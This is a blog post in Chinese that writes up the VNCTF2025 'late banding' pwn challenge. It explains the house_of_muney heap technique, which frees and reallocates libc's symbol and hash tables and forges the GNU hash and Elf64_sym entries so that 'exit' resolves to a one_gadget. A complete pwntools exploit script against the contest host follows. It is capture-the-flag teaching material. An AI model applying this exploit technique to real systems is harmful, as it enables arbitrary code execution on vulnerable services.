VNCTF2025 late banding
这道题目的漏洞点很明显,:给我们修改(heap_addr+0x8ffff)内任意地址内容的权限,那这道题目的利用方式应该是house_of_muney
先来看一下house_of_muney的相关内容:
house_of_muney
漏洞成因
堆溢出
适用范围
2.23
——至今能分配
mmap
的chunk
能修改
mmap
的chunk
的大小
利用原理
这个技巧被称之为steal heap from glibc
。主要的点有以下几个:
libc.so.6
映射的地址空间,前面都是与符号表、哈希表、字符串表等重定位或者解析函数地址有关,前面一段的权限是r--
mmap(NULL, ...)
是会分配到libc.so.6
的上方的
基于这两个知识点,利用过程如下:
申请
chunk A
,假设为0x40000
大小,则会走mmap
申请,并且申请到libc.so.6
的上方修改
chunk A
的大小为0x45000
,设置MMAP
标志位释放
chunk A
,则会把libc.so.6
的0x5000
的内存也释放掉再次申请
0x45000
,就可以控制libc.so.6
原来的符号表、哈希表等等触发一次
dl_runtime_resolve
等就能控制程序执行任意代码
相关技巧
需要伪造的符号表、哈希表等需要逐步调试
可以扩展为
steal heap from everywhere
需要伪造的内容:
l_gnu_bitmask
l_gnu_bucket
l_gnu_chain_zero
需要修改函数的 Elf64_sym 结构体
个人觉的其与ret2dl很像,都是去利用_dl_fix()函数,但是house_of_muney是直接去修改各个节的内容,而ret2dl则是去伪造各个节的内容
exp:
from pwn import *
from pwncli import *
from pwn_std import *
import ctypes
context(os='linux', arch='amd64', log_level='debug')
p = getProcess("node.vnteam.cn", "47864", "./pwn")
# elf = ELF("./vuln")
libc = ELF("/home/albert/glibc-all-in-one/libs/2.31-0ubuntu9.16_amd64/libc.so.6")
# elf=ctypes.CDLL('/home/albert/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6')
cmd = """
set debug-file-directory /home/albert/glibc-all-in-one/libs/2.31-0ubuntu9.16_amd64/.debug/
dir /home/albert/CTF/glibc-source/glibc-2.35/elf
b do_lookup_x
b exit
"""
def add(id,size):
sla("Please select an option:",str(1))
sla("Enter customer ID:",str(id))
sla("Enter allocated data size:",str(size).encode())
def dele(id):
sla("Please select an option:",str(2))
sla("Enter customer ID to remove:",str(id))
def edit(id,length,data):
sla("Please select an option:",str(3))
sla("Enter customer ID to update:",str(id))
sla("Enter data length:",str(length).encode())
sla("Enter updated customer details:",data)
def show(id):
sla("Please select an option:",str(4))
sla("Enter customer ID to view:",str(id))
#修改libc段的读写权限
add(0, 0x40000 - 0x2000)
edit(0,-8, p64(0x41002 + 0x5000 + 0x4000))
dele(0)
add(0, 0x41000 * 2 + 0x4000)
#edit修改头节点内容
#映射后内存全部被初始化为 0,仅伪造 Elf64_sym 结构体,将会出错
#篡改执行流exit-->>onegadget
'''
l_gnu_bitmask
l_gnu_bucket
l_gnu_chain_zero
需要修改函数的 Elf64_sym 结构体
'''
base_off=0x7bff0
one_gadget = [0xe3afe, 0xe3b01, 0xe3b04][1]
gnu_hash_section = libc.get_section_by_name('.gnu.hash')
dynsym_section = libc.get_section_by_name('.dynsym')
dynstr_section = libc.get_section_by_name('.dynstr')
print("gnu_hash_section=",(gnu_hash_section))
print("dynsym_section=",(dynsym_section))
print("dynstr_section=",(dynstr_section))
namehash = gnu_hash_section.gnu_hash('exit')
bloom_off = gnu_hash_section['sh_addr'] + 4 *gnu_hash_section._wordsize
bucket_off = bloom_off + gnu_hash_section.params['bloom_size'] *gnu_hash_section._xwordsize
bloom_elem_idx = int(namehash /
gnu_hash_section.elffile.elfclass) % gnu_hash_section.params['bloom_size']
bloom_elem_off = bloom_off + bloom_elem_idx *gnu_hash_section._xwordsize
bloom_elem_val = gnu_hash_section.params['bloom'][bloom_elem_idx]
bucket_elem_idx = namehash % gnu_hash_section.params['nbuckets']
bucket_elem_off = bucket_off + bucket_elem_idx * gnu_hash_section._wordsize
bucket_elem_val = gnu_hash_section.params['buckets'][bucket_elem_idx]
hasharr_off = gnu_hash_section._chain_pos + (bucket_elem_val -
gnu_hash_section.params['symoffset']) * gnu_hash_section._wordsize
sym_off = dynsym_section['sh_offset'] + bucket_elem_val * dynsym_section['sh_entsize']
sym_value = b''
sym_value += p32(libc.search(b'exit\x00').__next__() -
dynstr_section['sh_offset']) # st_name
sym_value += p8(0x12) # st_info
sym_value += p8(0) # st_other
sym_value += p16(1) # st_shndx
sym_value += p64(one_gadget) # st_value
sym_value += p64(8) # st_size
print("bloom_elem_off=",hex(bloom_elem_off))
print("bloom_elem_val=",hex(bloom_elem_val))
print("bucket_elem_off=",hex(bucket_elem_off))
print("bucket_elem_val=",hex(bucket_elem_val))
print("hasharr_off=",hex(hasharr_off))
print("namehash=",hex(namehash))
print("sym_off=",hex(sym_off))
edit(0, base_off + bloom_elem_off, p64(bloom_elem_val))
edit(0, base_off + bucket_elem_off, p32(bucket_elem_val))
edit(0, base_off + hasharr_off, p32(namehash))
edit(0, base_off + sym_off, sym_value)
sla("Please select an option:",str(5))
ita()
版权声明:
本站所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自
pwn手的成长之旅!
喜欢就支持一下吧
打赏
微信